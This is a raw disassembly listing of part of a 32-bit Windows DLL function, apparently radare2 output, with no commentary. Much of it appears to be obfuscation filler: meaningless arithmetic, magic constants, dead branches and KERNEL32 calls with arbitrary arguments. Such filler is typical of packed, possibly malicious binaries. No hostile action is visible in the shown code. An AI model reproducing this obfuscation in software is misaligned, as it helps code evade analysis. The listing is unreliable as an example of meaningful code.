mov eax, dword [ebp - 0x28c]
xor edx, edx
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x48]
sete dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
lea ecx, [ebp - 0x37c]
setg dl
mov dword [ebp - 0x24], edx
call fcn.1000ffb5
lea ecx, [ebp - 0x3fc]
call fcn.1000ffb5
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 4
call fcn.1000ffb5
mov dword [ebp - 0x5c], 0x8ae0512e
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x34], 0x1355fff
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x36c93846
mov dword [ebp - 0x4c], 0xe65f
mov dword [ebp - 0x14], ebx
jmp 0x10012ee6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x200], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10012ed9
mov dword [ebp - 0x14], ebx
jmp 0x10012efe
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x618], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10012ef1
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012f1b
push edi
push 0x3ad
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
inc dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x200]
cmp eax, 3
mov eax, dword [ebp - 0x2c]
setl cl
neg eax
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x200]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
je 0x10012f54
mov ecx, edi
cmp dword [ebp - 0x18], ebx
jne 0x10012f56
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
imul eax, ecx
cmp eax, dword [ebp - 0x18]
jne 0x10012f64
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x618]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
push 0xfffffffffffffff9
setg dl
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x14], esi
pop esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x4c], 0x67c28cae
mov dword [ebp - 0x2c], ebx
jmp 0x10012fae
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x44c], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10012fa1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
test eax, eax
jne 0x10012fc8
mov eax, ebx
cmp dword [ebp - 0x14], ebx
je 0x10012fca
mov eax, edi
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg eax
neg ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 0xfffa
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x24], ebx
jmp 0x10013026
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10013023
push ebx
push 0x6d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1001300f
mov dword [ebp - 0x38], 0xffffffff
lea ecx, [ebp - 0xbc]
push edi
call fcn.1000ff33
mov byte [ebp - 4], 9
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xc0d1
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], 0x254f8d3
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x34], 0x43fb
cmp dword [ebp - 0x34], 0x46ab
jle 0x100130c1
push ebx
push 0x2000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10609cb8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000fe1e
inc edi
cmp edi, 0x174d
jl 0x1001308a
inc esi
cmp esi, 0x21ae
jl 0x10013088
push ebx
push 0x2ef
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor edi, edi
inc edi
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x34], 0x43ec
jge 0x100130fe
mov edx, 0x10007bcc
mov ecx, 0x10609cb8
call fcn.100118c8
jmp 0x100130fe
mov dword [ebp - 4], 9
mov dword [ebp - 0x2c], ebx
jmp 0x1001311d
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xbc]
mov dword [eax + ecx*4], 0x6da5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001310a
mov edx, dword [ebp - 0xbc]
cmp dword [edx], ebx
je 0x10013143
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], 0xffffffff
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0xbc]
mov eax, edi
jmp 0x10013145
mov eax, ebx
push 9
pop esi
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, dword [edx]
setg cl
cmp ecx, dword [ebp - 0x40]
jne 0x10013160
mov eax, edi
cmp dword [ebp - 0x40], ebx
jne 0x10013162
mov eax, ebx
cmp eax, esi
mov dword [ebp - 0x40], 0xffff
sbb eax, eax
inc eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
neg eax
sub eax, ecx
neg eax
sbb eax, eax
inc eax
sub ecx, eax
xor eax, eax
cmp ecx, 0x7440e708
setne al
xor edx, edx
cmp eax, 0xe6da
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xbc]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp dword [edx], ecx
setg al
cmp eax, edi
jl 0x100131dd
cmp dword [ebp - 0x4c], ebx
mov ecx, ebx
mov edx, dword [ebp - 0xbc]
je 0x100131df
mov ecx, edi
xor eax, eax
cmp ecx, dword [edx]
setle al
mov dword [ebp - 0x34], eax
mov eax, dword [edx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x100132a4
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x34], 0x271b
cmp dword [ebp - 0x34], 0x2a67
jle 0x10013251
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100132b4